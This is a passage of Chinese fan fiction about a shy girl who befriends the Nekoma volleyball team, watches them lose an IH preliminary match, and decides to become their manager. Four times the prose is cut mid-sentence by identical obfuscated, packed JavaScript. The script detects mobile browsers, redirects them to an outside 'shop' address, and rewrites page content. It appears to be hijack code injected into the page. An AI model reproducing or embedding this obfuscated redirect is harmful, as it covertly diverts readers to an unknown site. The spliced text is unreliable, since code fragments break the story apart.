不知道为什么突然非常感谢刚刚来提醒的研磨前辈……被这么砸一下得疼好几天吧。 ……排球竟然是杀伤力这么大的运动吗？ 8. 八个小岛 随着时间推移，去看练习赛的时间和次数的增多，我逐渐跟排球部的一群人熟起来了……吧。 准确来讲，应该说见我来看了这么久的练习赛，他们似乎已经将我纳入了自己人的范畴。 自来熟的可怕……真的，未免太过热情了。 这里特指山本前辈和同年级的犬冈同学。 山本前辈……意外的热情？虽然没怎么交流过，但我总有种他把我当作出名的明星对待的感觉，莫名有点狂热……总之很怪。 犬冈正常点，他明显只是跟风。 怎这么说起来排球部的人都稍微有点怪，几乎全是我没怎么见过的类型。 黑尾前辈不知道为什么笑起来的时候很像诈骗犯，海前辈很和善但我偶尔会幻视成菩萨……果咩那塞。 研磨前辈是和我不太一样的社恐，偶尔会有点像鬼……？福永前辈的冷笑话很冷但反应过来之后意外好笑，山本前辈莫名很中二很热血，如果可以我不是很想接近这个状态上的他……中二热血不管哪个都和我相性不合吧。 犬冈接触下来发现是个单细胞天然呆，音驹这个猫校倒是混了一个犬系，芝山看着有点内向，作为自由人一直在为了追上夜久学长努力…… 虽然很怪，都是很好的人呢，我无比确信这一点。 也因此，我并没有那么排斥每次大老远跑来学校看练习赛，甚至挺开心的。 但我真的没想成为排球部的经理，真的。 我又不喜欢排球。 这两个月下来我和排球部这群人也熟了，我也并未未曾尝试过排球。 但我不喜欢，虽然练习的时候时间的确过得很快，但打完手臂很疼，胳膊内侧全是密密麻麻的血点，就算热敷过第二天早上起来也还是酸痛的……性价比真是有够低的。 还是摄影和吉他好。 我在学的第二天就去找了夜久前辈，跟他说我并不想继续学习排球。 他闻言沉默了一会儿，问我为什么。 他看着有些疑惑且摸不着头脑，我也有些茫然，便如实跟他说了原因。 他欲言又止，最终也只是挥挥手让我回场边去了。 ……有什么问题吗？ 我疑惑地想。 —— 听小岛说自己不想继续学习排球的时候夜久属实是没有想到。 怎么说呢，她昨天只学了垫球，上下垫球熟练了之后就是对墙垫，面对这种枯燥的训练却出乎意料地认真——夜久其实一直以为她会出神，毕竟她平时就很容易走神，没想到学排球时的态度比灰羽都要端正不少。 ——他完全没想到，练习赛常常不落的绘在认真地学习练习了一天之后，会在第二天决定放弃。 她不喜欢排球吗？那为什么会不落下每一场练习赛呢？ 他看着身前略矮自己一些的少女，打心眼疑惑。 夜久尊重她的选择，也不打算勉强，但在满心的疑惑的驱使下，他问：“介意说一下原因吗？” 小岛性子安静、不喜欢和人交流，常常只是沉默地安静地在场边坐下，捧着相机用镜头对准他们的背影，必要时与人交流也躲着视线交流呈逃避状态，连目光都不会落在对方身上——但对他不是这样。 她在夜久面前往往只会不自然地微微偏头，垂下眼不与他对视，但视线始终会实实在在地落在他身上——通常是肩膀。 就像现在这样，微微怔住、脸上流露出一抹茫然后便垂下那双漂亮的蜜色眼睛，道：“因为不够喜欢……？” 她似乎不知道怎么组织措辞，停下纠结了一会儿才继续道：“我还是更喜欢相机和吉他，虽然比不上垫球的时候时间过得快，但更轻松，我还是更喜欢它们。” ……是不是有哪里不对？ 直觉告诉他这段话有哪里不对，但一时间他也想不出有哪里不对，纠结两秒后夜久最终选择尊重她的选择。 他松开微微蹙起的眉，下意识安抚了一下随着安静下来的时间变长而疑惑抬头的小岛，再次问了一遍，确定她的确是仔细想过后便放她离开了。 总归她自己清楚地知道自己的想法，既然如此，他便只需要尊重她的选择，这就足够了。 —— 在期末考之前，排球部率先迎来了我所见到的第一场正规比赛——IH预选赛。 我上网搜了一下，IH是各项赛事综合的大兴比赛，不单单有排球，另外也有很多别的项目。 啊，怪不得感觉最近好些人莫名其妙的亢奋紧张，原来是IH预赛开始了。 虽然音驹能打进全国的社团并不多，但预赛谁都能参加，怪不得都紧张起来了。 排球部的氛围也严肃了不止一点，大概也加了训练，最近偶尔遇到研磨前辈的时候他看起来累到可以当场倒下的样子。 ……说到研磨前辈，还是觉得他更像游戏社的成员啊。 我和他的交流大概就是，路上偶然碰到的时候对视一眼，默契地微微颔首以示招呼，随即纷纷收回视线，继续在不被人发现的角落安心干自己的事情。 我愿称这一套流程为社恐的互帮互助，我再次在心里想。 ——完全没想到研磨前辈会加入运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309358|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动社团呢。 漫无边际地想着，我抬脚迈入学校里的便利店。 不想跟那么多人挤，我便干脆每天晚来十分钟，这样到的时候便利店就已经没什么人了。 虽然相应的东西也会被卖的差不多，一般来讲我到的时候只剩下不太受欢迎的几种面包了——索性我不挑食，能吃饱就行。 柜台上仅剩的是几个普通的巴掌大小的牛奶面包，我无所谓地按自己的食量拿了两个，又看了一圈再拿了盒牛奶结账。 边吃边走回教室吧，等会路上人估计会多很多。 撕开包装，把蓬松柔软但工业糖精味道很重的面包塞进嘴里，我嚼了嚼，突然懂了为什么这个面包十分钟过去了还能剩下几个。 真挺难吃的。 插上吸管，我吸了一口牛奶，将嚼了两下有点干巴的面包连着牛奶一起咽下。 算了，能吃就行。 慢吞吞地咬着面包，我出神地发着呆。 ……IH大赛还有两周，不知道会以什么结果结束。 会赢的吧？ # “小游！小游——！”不远处传来的呼喊将我从思绪中拉了出来，我有些懵，转头顺着声音来源看过去。 ……啊，是排球部的人呢，聚餐吗？ 看着灰羽和犬冈大幅度地朝我挥手，见我看过去还更加激动了几分，朝我挥手，意图很明显。 意识到这是怎么个情况时我头皮发麻，下意识先环视了一圈，确认因为我晚来十分钟的缘故周围没有路过的同学才松了口气，加快了脚步朝那边走过去。 “夜久前辈、黑尾前辈……还有其他前辈们，”本来想逐一打招呼但出口才发现现场人实在太多，我顿了一下，默默把剩下的问好规整在一起，问，“怎么了吗？” 犬冈先欢快地跟我打了个招呼，闻言答道：“前辈们看你一个人走，邀请你跟我们一起吃午饭！” 黑尾伸出食指晃晃，宣布：“排球部聚餐正式开始！” 我默然，提醒道：“黑尾前辈，我不是排球部的。” 夜久不在意这些细枝末节，他随意地摆了摆手，冲我比划了一个肯定的手势，“没关系的啦，小绘是我们排球部全体认可的编外成员。” 唔。 我反驳的话停在嘴边怎么也说不出口。 稍微有点开心……是开心吧？ 想了想之后的行程——回教室的时候应该刚好吃完，之后午休的时间会看看手机什么的，总之就是打发时间等上课——没什么事情，可以去。 我答应下来，“好。” 9. 九个小岛 ……事情为什么会变成这样。我真心实意地疑惑。 彼时我正跟大家一起坐在排球部的活动室里，咬着自己的面包，本来都挺和谐的。 直到恰巧挤到我旁边的灰羽看着我慢吞吞地嚼面包，问我：“小游，你今天中午就吃这个？” 我没觉得有什么问题，点了点头应道：“嗯，还有一个没吃。” 灰羽大惊，凑过来看了眼，“你就吃这个怎么可能吃得饱啊，而且这个牌子完全不好吃吧？” 声音是正常音量，现在大家都插科打诨，比较嘈杂，没什么人听到灰羽说话。 ——但为什么这唯一听到的人偏偏是夜久前辈啊。 我哽了一下，顶着夜久看过来的视线稍微有点不自在，不由攥了攥手里的面包，但更多还是茫然，“……啊？” 夜久闻声走过来，盯着我手里的面包看了会儿，问：“……你最近就吃这个？” 他看着有些严肃，我下意识挺直了腰板试图传达一个端正的态度，有点紧张。 微妙地察觉到了事情有点不对，我试图辩解，“其实还有牛奶……？” 好像没什么用。 救救我救救我救救我救救我救救我救救我 我憋了半天，问：“……怎么了吗？” ——问题大了好吗！ 夜久稍微有些头疼地看着眼前不好好吃饭自己还没意识到问题严重性的我，察觉到我的紧张与茫然不禁有点想叹气，放缓了语调，有点操心地伸手拿过我手里的面包，道：“营养跟不上的小岛，你今天吃这个吧。这个我拿走了，当交换吧。” 看着他把我手里还没拆封的面包拿走前还在我眼前晃了晃，我捧着他塞过来的三明治有些懵。 ……营养跟不上？ 说实话我还真没想过这个问题，我吃饭图方便，一般来讲都是能吃饱就行。 营养的话……好像还真没做过检查什么的，但我也没感觉有什么问题，应该问题不大。 懵了会儿，我才缓慢回过神，意识到什么。 ——夜久前辈，刚才是在关心我吧？ 心脏缓慢的、不受控制地跳起来，我慢半拍的垂眸看着手里的三明治。 是普通的鸡蛋火腿三明治，是我没吃过的口味……不，准确来讲的话我就没怎么吃过三明治，之前唯一的一次过于难吃给我留下了深刻的印象，之后就再也不愿意尝试了。 但是这个……我意外地不排除。 牛奶混着这一口三明治被我咽下去，我又咬了一口，慢慢地咀嚼。 ——是好吃的。 ……唔，事情变成现在这样好像也没什么不好的。 # 啊总之，接下来每一天的中午我都会被灰羽拉走一起吃饭。 偶尔跟排球部的大家，偶尔只有几个人，但夜久前辈倒是一直都在。 不知道是不是夜久前辈说了什么，我每到中午就会被他们塞好多吃的东西，大多是零食，也有顶饱的东西。 我想拒绝，吃白食总归不太好……但没成功，这群人仿佛在这会儿集体聋了，各聊各的就是不听我的话。 我放弃这个选择，转而采用迂回战术试图把东西折现还给他们……也没成功，完全不收，看起来恨不得调头就跑。 ……倒是听人说话啊！ 实在没办法，我最终选择了从家里带午饭来，被夜久前辈确定能吃饱营养也没出问题后大家才消减了给我塞吃的的行为。 “所以夜久前辈也不用给我吃的了……”我欲言又止地看他。 他正把两块巧克力塞到我放午饭的袋子里，闻言偏头看了我一眼，笑了下，才道：“没事儿，又不是什么贵重的东西，你什么时候想吃再吃就好了。” ……这根本不是一回事吧！ 我烦恼地抿了抿唇，最终也没拒绝掉。 ……毕竟味道还不错？对，就是这样。 为了偿还（总感觉这个词有哪里不对但无所谓就这样吧）之前收到的零食，我想了一阵，最终订了五箱运动饮料给排球部。 买的多走了批发价，怪便宜的。 他们找过来想把钱转给我的时候我拒绝了，就像他们之前拒绝我那样。 我找了个借口，“就当同意我看练习赛的时候拍照的报酬吧。” “我还想看IH预赛，”想了想，我说了句真心话，“想看一场最精彩的比赛。” 作为代表来的三个三年级面面相觑，最终对视一眼同步转头，郑重地看着我。 “会的。” “最精彩的比赛。” # 找夜久前辈要了比赛日期，我在IH预赛第一场的那天准时到了作为比赛场地的体育馆。 ……可能也不是很准时，我提前了将近半个小时，就怕人太多没位置。 毕竟是来拍照的。 还是第一次来这样正式的比赛场地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309359|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看比赛呢。 这么想着，我找了个能完全看到全场的视野开阔的位置坐下，从包里翻出相机，低头习惯性地开始重新调试设备调整参数。 周围随着时间推移越来越嘈杂，我不动声色地微微抬头，用余光扫了一圈，意外发现我正好就坐在了音驹应援区的中间。 穿着熟悉的音驹校服的几个学生被一个看着只有十三四岁的栗色双马尾的小女孩指挥着在栏杆上挂了音驹的应援横幅——音驹的应援横幅我记得写了“维系”两个字。 目光触及那个小女孩的背影，我不免产生了一丝佩服的情绪。 指挥拉拉队什么的……好厉害，是我这辈子都做不到的事情。 在我盯着她神游的时候，那孩子动了动，突然朝我这边看过来。 我吓了一跳，感觉心脏都停了一拍，慌忙地低下头，攥着相机的手甚至有些发白。 就算那是个很可爱的女孩子，但不能接受和陌生人对视就是不能接受……！！ “你是小岛游学姐吗？” 在我胡思乱想的时候，一道语调活泼带着稚气的好奇声音在旁边响起。 我被吓了一跳，下意识转头看过去。 ……是刚刚那个女孩子。 我浑身僵硬，下意识点头，但还没来得及胡思乱想些什么，面前这个女孩就继续开口了。 “哇，我就说我没认错吧！” 她开心地笑起来，然后向我自我介绍道：“我叫山本茜，跟哥哥听说过你所以才认出来了！你叫我小茜就好！” ……山本、哥哥，啊，是山本学长的妹妹啊。 触及到熟悉的人，我稍微放松了点，开口道：“我叫小岛游绘，你跟山本前辈一样叫我小游就好了。” 犹豫了一下，我补了一句，“……小茜。” “好的小游学姐！”她立刻叫了我一声，然后将手里的两个红色应援纸筒递给我，活力满满地说，“我是音驹的啦啦队队长，应援棒分你一个！每个人支持音驹的人都有哦！” 听到最后，我拒绝的话一顿，最终伸手接过那两个应援棒，“谢谢。” “没关系！” 小茜跟我聊了两句，便在有人叫她帮忙的时候转头跑了回去，临走前还大声地跟我说了再见。 我感觉我身边的e人浓度多少有点过高了……小茜走了之后，我缓缓地松了口气。 ……好热情啊，完全是我不擅长应付的人。 10. 十个小岛 第一场比赛很顺利地2：0结束了比赛，对面学校的实力不强，但体力消耗总归还是有的。 东京的IH预赛比其他地区的要晚一阵，结束的时候正式比赛差不多就开始了，为了赶时间下午还有一场，也不知道研磨前辈撑不撑得住…… 一边收拾东西，我一边有些担忧地想。 下午的对手听说是去年的冠军队伍……我稍微回忆了一下，音驹……好像不是很强。 心里不自觉涌上一股担忧，我不太适应，用力眨了眨眼，深呼吸了两下，才勉强把这股担忧压下去。 ……讲真，跟他们相处这么久，看到他们输就像我自己输了一样……虽然我本来也没多强的胜负欲就是了。 现在还是说点真心话吧，总之—— 我不想看他们输。 原因呢？ 我问自己。 …… …… 真讨厌，想不出原因也想不出理由。 好烦的感觉，真要说的话，没人想看自己的学校输比赛吧。 ……不想看朋友们输比赛不也很正常吗！ …… 等等……朋友？ # 贴身放着的手机嗡嗡地振动起来，思绪被打断，我下意识摸出手机，定睛看了眼联系人。 ——Yaku。 夜久前辈……？ 大脑还没反应过来，身体就率先按下接听键，我看着通话中的页面愣了两秒，才将手机放到耳边。 那头的声音嘈杂，依稀能听见背景音里排球部其他人说话的声音，连带着夜久的声音传过来也微弱失真了几分。 “吃饭了吗？” ……这是什么奇怪的搭话语录啊，总感觉在哪看到过的样子。 我下意识有点想笑，但脑海中乱七八糟的思绪混在一起，我一时没缓过来，只是下意识地凝神去听对面的话。 ……说到吃饭，看比赛的人挺多的，不想去外面的饭店吃，人一定很多。 但我又没自己带饭……要不不吃了吧，本来也不是很饿。 一片安静中，夜久福至心灵地懂了我沉默所表达的言下之意——虽然我本意不是这样，但我就就算缓过来了也大概会是这个反应——我猜他现在肯定有在叹气，虽然隔着电话我完全听不到。 “夜久前辈。”不是很想面对让我出去在人挤人的地方吃饭的话，我下意识叫了他一声，打断了他接下来的话。 那头“嗯？”了声，紧接着便安静下来——是夜久在等我继续说。 ……啊，说起来，正常情况下面对这一片安静我应该是会感觉到紧张的才对。 但夜久前辈是特殊的，面对和他之间的对话的安静我就从没有紧张过。 我大概知道是因为什么。 ——是被包容着养出来的自信啊。 我无声地弯起唇角，短促地笑了下，只有气音。 我一直、一直都知道，他会等待我的。 对面的嘈杂声突然轻了很多，大概是夜久找了个安静点的地方跟我打电话。 有些太安静了，我总觉得能听见他尚未完全平复下来的喘气声，但仔细听又没有。 虽然叫他的那一声最初是为了打断他的话……但我的确有话想说。 我问他。 “会输吗？” “……”以为我有什么事要说的夜久一愣，没想到能听见这么一句，他不免失笑，但原本有些沉重的心情倒是意外放松了些，“你到底是哪边的啊，小岛。” 他先是随口吐槽了一句，话落安静了一瞬，才继续道。 “虽然很想坚定地说能赢，但反倒是跟你说不出口……果然还是不行吧。” “音驹和井闼山的实力差很明显啊……高中第一自由人、还有全国三大主攻手什么的。” 我依稀能听出他话里细微的挫败感。 ……戳到伤心事了吗？ 我有些无措，想安慰他但又不知道从何开口——安慰这个东西完完全全地处在我知识盲区里。 早知道不说了……我干嘛非得多嘴啊。 “……但我们不会放弃的。” 半响，我听到夜久前辈的下一句传来。 他只是稍微地消沉了那么一瞬间，语气便重新变得坚定。 我怔住。 这个语气……我又想起当初那篇帖子上的那张配图了。 ……总感觉感觉，我似乎在这一瞬间隔着时间和空间的距离，再次和赛场上的那双带着势如破竹的锐气的眼睛对视了。 “……哈。” 胸腔闷闷地震起来，我忽地有点想笑，也的确低低地笑出来了。 “够了，已经足够了。” 我低喃着。 繁杂紊乱的思绪在这一瞬间似乎都被刮来的微风轻而易举地吹散了，我于那双棕色眼睛的注视下，突然开始思考我先前到底在纠结什么。 ——明明大家都很坚定啊，原来只有我在担忧吗。 我该相信他们的啊。 “加油啊。” “我真的、真的很期待你们的比赛。” 无关输赢。 “我知道。”夜久笑了下。 气氛一时有些沉重——毕竟说了很正式的话题，我还没享受两秒这种感觉我已经长大变成大人了的感觉，夜久便话风一转。 “所以你吃饭了吗？别又吃之前那些不好的面包了啊。” 我被噎住，半响有些恼羞成怒地唤他，“……夜久前辈！” 听着电话那边传来的笑声，我不自然地偏过头，尽管他本人并不在我面前。 “……噗哈哈、咳，”夜久终于勉强停了笑，虽然一张口声音还是带着明显的笑意，“好啦不逗你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309360|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，周围有家位置比较隐蔽的饭店哦，人流量不多，我记得味道也还不错……位置发你了。或者你去找点自己喜欢吃的也行？别总拿零食当饭吃。” “……我也没怎么拿零食当饭吃吧。”下意识反驳了一句，但想到事实……我视线飘了飘，轻咳了一声，迅速告别挂了电话，“那我去吃饭了夜久前辈拜拜。” “喂…喂？”夜久看了眼手机屏幕，不禁失笑，“已经挂了啊。” “……倒是比之前活泼了很多。”不知道为什么他有感而发了一句，随后收起手机回了音驹的休息区。 # 夜久前辈说的那家店位置的确很偏，人不多，我挺满意的……至于味道，嘛，吃得比较急完全没注意呢。 毕竟为了赶时间IH预赛采用轮换制度，每个晋级的队伍一天的两场比赛之间总能空出三四个小时来让选手们能吃完饭再调整好状态。 虽然中途完全没有停过比赛呢……时间管理大师吗。 稍微有点想笑，我低头看了眼时间——离音驹的比赛开始还有一个半小时不到。 时间过得这么快吗，我可是一直觉得我中途完全没闲下来过啊，总有种上场比赛刚刚结束的错觉。 给夜久前辈发了条消息报告了一下已经吃完饭了，我翻了翻聊天记录。 上面几条是我发的刚刚吃饭时候拍的照片，我重新点进去仔细看了一下。 啊看着好好吃，怎么现在就想不起来味道了……果然还是太紧张了吗？ 说到底我在紧张个什么啊……又不是我比赛来着。 下次再来吃一次吧。 平静地做好了安排，我站在自动售货机前，将表面还带着凝结的水滴的柠檬汽水拿出来。 果然——天气热的时候还是喝冷饮最好！ 虽然我不是很怕热就是了，我更怕冷。 搓搓穿了冰袖来防晒的手臂，我掰着手指算了一下日子，发现离秋天已经没差多久了。 夏天都过半了，秋天马上来那冬天还会晚吗，想想就觉得难熬…… 冰凉的液体划过喉咙流入胃部，我有点渴，一口气喝了一大口才感觉自己活过来了。 因为某些原因，某种意义上来讲，我从小到大其实算是吃着西式料理长大的，称不上喜欢日式料理……尤其是生食的东西和味增，完全接受不了。 偏偏刚刚那家店只有味增汤，卖的饮料也是我不喜欢的类型，导致一顿饭下来我一口喝的也没喝着。 柠檬汽水其实味道对我而言也没有让我喜欢到那个程度啦……但我第一个找到的清爽的饮料就是它，而且也不难喝，相反，还挺好喝的。 就是稍微能品出来点涩味，不过在它的优点下不值一提。 比赛开始一个小时前，我再次进了体育馆，找到了我原来的位置。 ——稍微，开始期待这场比赛了啊。 11. 十一个小岛 我很难形容这场比赛。 看了两个多月的比赛，我多少也看懂了些，不至于像最开始那样两眼一抹黑，但也只能算是个门外汉。 我其实看不懂很多东西，毕竟也没特意了解过，像球场上的战位、轮换、战术……等等等等，但就算如此，实力的差距是我这样的人也看得出来的。 那句【善守的音驹】就足以说明音驹的特点，以防守为长处，靠密不透风的防御来杀死对手。 排球是不落地就不会输的运动，这是音驹一直坚持的理念，每个球员都有着很高超的接球技术，接下每一球，然后靠二传手的调度和拦网得分。 但当拦网拦不住、接球接不到的时候，对于缺乏一个强有力的攻手打破僵局的音驹来说，失败就只是时间问题了。 拦网被技巧避开又或者被纯粹的力量砸开、接到的一传远远飞出场外……没什么悬念，比分普通地、寻常地被拉开。 “上啊上啊音驹，冲啊冲啊音驹——！！” 耳边是音驹拉拉队由小茜带领着的加油声，我依旧坐在位置上，攥着相机的手指用力到发白，我缓缓地、下意识地将它放下，微微睁大眼，专注地盯着场内的比赛。 ……与其说是专注，不如说是大脑一片空白到什么都想不到了吧。 明明正处盛夏，但我为什么，会莫名地感觉如坠冰窟呢。 浑身上下都泛着冷意，随着排球重重的落地声，我猛然回过神来，几乎是下意识地将视线从场内移开，两秒后又在裁判吹响代表发球开始的哨声时将视线挪了回去。 周围很热闹，很热闹很热闹，嘈杂的声音在耳边响彻，震得我甚至有些发懵，这大概就是我分明处在这样吵闹的声音中，却清晰地、明确地，听到了自己心跳的原因吧。 扑通、扑通、扑通。 它最初在耳边时我完全没有反应过来这是什么，后知后觉意识到时，它已经仿佛快要从心口跳出来了那样，沉重、有力、快速。 ……加油声逐渐微弱下去，我像是和世界突兀地出现了一道隔阂，它将我隔绝在球场之外，让我成为唯一一个没有站起身被热烈气息感染的人。 我为自己意识到的这一点感到毛骨悚然。 视线缓慢地移动、聚焦，我目光扫过场上我在这两个月中所熟悉的人——他们无一例外地满头大汗，紧盯着排球的眼睛却亮的惊人。 大概是因为自由人的队服是唯一不同颜色的那个，最终，我将目光投向了夜久。 自由人专职接球救球，他是场上最累的那个，汗水顺着额角滑下，浸湿了那头浅色的柔软的短发让其胡乱地黏在额角，然后没入与其他人都不同的白色队服中消失不见，看着格外狼狈，但他的目光依旧专注，眉眼凌厉——同那张我曾下意识保存进相册的配图重合。 恍然间，我想起了初见时的那双眼睛。 明亮、澄澈，上扬的眼角带起些张扬的感觉，偏生本人温和的气质将其完完整整地压下，棕色瞳仁反射的那细碎的光格外耀眼。 一双凌厉，一双柔软，但那是同一个人的眼睛。 那分明是同一个人的眼睛。 是什么让它变得并不相似了呢。 # “抱歉，救球！” 熟悉的声音一下子将我拽回人间，像灵魂归位那样，所有的感知一下全回到了我的身上，我却有些麻木，只是凝神望着球场。 夜久刚鱼跃过去救起一个球，位置大概是不好的，要不然他不会说抱歉，但……明明接起来就很厉害了啊。 ‘……为什么？’ 不爱动弹的研磨前辈转身顺着排球飞跃的轨迹奔跑，终于在最后于落点处站定，微微屈膝起跳，手指与排球短暂接触后依旧平稳地将球送了出去，让山本前辈在网前扣下。 然后被对方自由人接起。 ‘……为什么不放弃呢。’ ‘明明……实力差距宛若天堑，放弃不才是更好的选择吗？’ 我看着对方二传组织进攻，调开拦网，让攻手将球扣下，砸在音驹的场地中。 “……但我们不会放弃的。” 夜久前辈的声音突然在耳边响起——似乎还带着电流的声音？我下意识转头看去，视野中却只有空荡荡的座位——座位的主人已经激动地站了起来，撑着前面的靠背，嗓音嘶哑却从未停下地呐喊。 “我真的、真的很期待你们的比赛。” “我知道。” 那是我的声音，还有夜久前辈的。 我在比赛将要尘埃落地时，突兀地想起了几个小时前和场上那位正在努力守护队友的背后的自由人前辈的通话。 “会输吗？” “虽然很想坚定地说能赢，但反倒是跟你说不出口……果然还是不行的吧。” “……实力差很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309361|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显啊…………” “……但我们会努力的。” “……够了，已经足够了。” 我扯了扯嘴角。 笑不出来……就算强行挤出来应该也不会好看的吧。 放纵般地放平唇角，我抿唇。 ……明明已经知道了的，他的态度、还有他们的态度。 到头来我竟然还是在问为什么……真够恶劣的啊，小岛。 这不是，在侮辱他们的坚持吗。 为什么？ 不重要吧。 让我想想……之前是不是有人跟我说过，如果有什么弄不明白的事情，就听听自己的心。 ……我不明白是什么样的喜欢、什么样的坚持，才能让他们在实力差距如此之大的情况下依旧不放弃每一球。 所以我侧耳，仔细去听。 扑通、扑通、扑通。 心脏再一次剧烈地、不受我控制地跳起来，但我却再没了那种与世界隔绝的感觉，哪怕我又一次于吵闹的声音中清晰地听到了自己的心跳。 某一刻，我感觉我似乎也感同身那般体会到了他们的热爱。 一转而逝，似乎只是错觉。 但那在心里一闪而过、留下灼热滚烫让我甚至有些想哭的情感却做不得假。 热烈、磅礴，带着无与伦比的朝气，像盛夏的日光，耀眼、刺目，洒在身上甚至会让其他人感觉有些过于烫了。 但我是一个怕冷的人。 我想我是喜欢夏天的，夏天的蝉鸣、夏天的白日、夏天的光照，它们代表着一年当中最炎热的季节即将来临，我却为此感到兴奋。 那些热到仿佛快要融化了的日子，回想起来却并没有留下什么痛苦的记忆。 灵魂仿佛都在为此刻战栗。 为了夏天？又或者是为了别的什么？ 谁知道呢。 代表比赛结束的哨声响起来，音驹对井闼山的比赛正式落下帷幕，以0:2的大比分落败。 场中的他们按照序号站成一排，对着音驹的横幅、对着他们的支持者们弯腰鞠躬，表示最真挚的感谢。 我终于合群了一回，放下手里的相机，跟着人群给予他们热烈的掌声。 已经足够了，我已经看到了最精彩的一幕。 如果可以，请让我继续看下去吧。 ——那真的、真的，很令人着迷。 12. 十二个小岛 比赛结束，我目送他们离场后便给夜久前辈发了条消息，便收拾东西准备离场。 【游：我走了】 那边已读地很快，但一直没有消息回来，我没吭声，按灭了手机屏幕站起身。 正常，就算早有预料，输了比赛也总归是难过的。 直接回家吧，现在再出现在他们面前未免有些没眼力见，总不能让一群刚输了比赛的选手们打起精神来应付我吗。 这么想着，我逆着人群往外走。 尚未平复的心脏依旧在胸腔里跳动，我紧了紧握着背包带子的手，突然想起刚刚突然下的、显得有些草率的决定。 不知道拒绝了他们之后又去交入部申请书会不会显得有些随便……应该不至于不同意吧？ 我知道我看起来是有点想一出是一出了……但我是真心的。 回想起刚刚所窥见的那一个我未曾触及过的领域，已经快要完全冷却下来的血液似乎又有了快要沸腾起来的趋势。 我低头，白皙的指腹还残留着刚刚攥着相机过于用力而留下的红印。 张到最大、然后握紧，肌肉的拉扯感与指腹传来的细微疼痛格外清晰。 不是梦啊。 ……刚刚所感受到的，不是梦啊。 # 做出成为排球部经理的选择没费我多少心思，就像当初我说不喜欢排球就拒绝邀请那样，想做就做了。 这么看我竟然是一个很自我的人啊。 需要走的流程其实并不繁琐，每个学生其实都可以参加多个社团，只要能调整好时间就行，而且我在此之前的社团是归宅部，连退部申请书都不用交，我苦恼纠结的是另一个事情。 复印了入部申请书，我填上了自己的信息，最终将它放进书包里。 现在，我纠结了很久的最大的难题来了。 ——我应该在什么时候交这张入部申请书？ 比赛刚刚结束，虽然他们调整地很快，但我总能察觉到他们似乎并没有外表那么云淡风轻、不在乎这一场比赛结果的样子。 ……但这是不可能的吧。 仔细想想总觉得他们这样的行为可以被归为强颜欢笑……但我又不确定，对于察觉别人的情绪变化这点我向来不太擅长。 我想等一切结束回归平静的时候普通地上交入部申请，但什么时候回归平静……这是个好问题，难住我了。 距离那一场比赛已经过去了挺久，期末考试将临，我一边焦虑于到现在还没交出去的入部申请，一边转头为即将来临的期末考试做准备。 在这个节骨眼上，我在放学路上跟黑尾前辈偶遇了。 他只有一个人，不知道为什么研磨前辈不在他旁边……不过这不重要，我只是想，如果这次再不把入部申请交给他的话，我大概找不到另一个更好的机会了。 于是在他跟我招手示意有话要说时，我从包里掏出了那张压箱底很久的入部申请递给他。 毕竟没有做什么特别的保护措施，那薄薄的一张纸在我交到黑尾手上之前就已经有些皱了，我按了按，指腹下的褶皱触感清晰分明。 黑尾沉浸在自己的思考里完全没注意这张纸，他顺手接过来往怀里一放，就继续跟我讲最近练习赛的行程，“……之后还有两场合宿，除此之外就没有练习赛了，你想来看的话可以白天来，但拍照的事情得跟其他学校的人商量一下……” 我耐心地听着，等他说的差不多了才伸手，指了指我的入部申请，“黑尾前辈，你不看看那是什么吗？” “嗯？”他顿了一下，疑惑地掏出来看了一眼，“能是什么……哈？” 他差点以为自己看错了，但定睛一看又没错。 他转头看我，语气不可思议中又带着些疑惑，“小游你不是一直不愿意加入排球部当经理的吗？怎么突然改主意了？” 啊，果然有这个问题。 我想了想，实话到了嘴边又被我咽回去，纠结了两秒，最终只是笼统地道：“……只是突然感觉排球还挺有意思的。” 说到这我顿了顿，补充，“我是认真的，黑尾前辈。” “我当然知道你是认真的，”黑尾抓了抓头发，表示我的表情就已经说明了一切，“只是有点突然。” 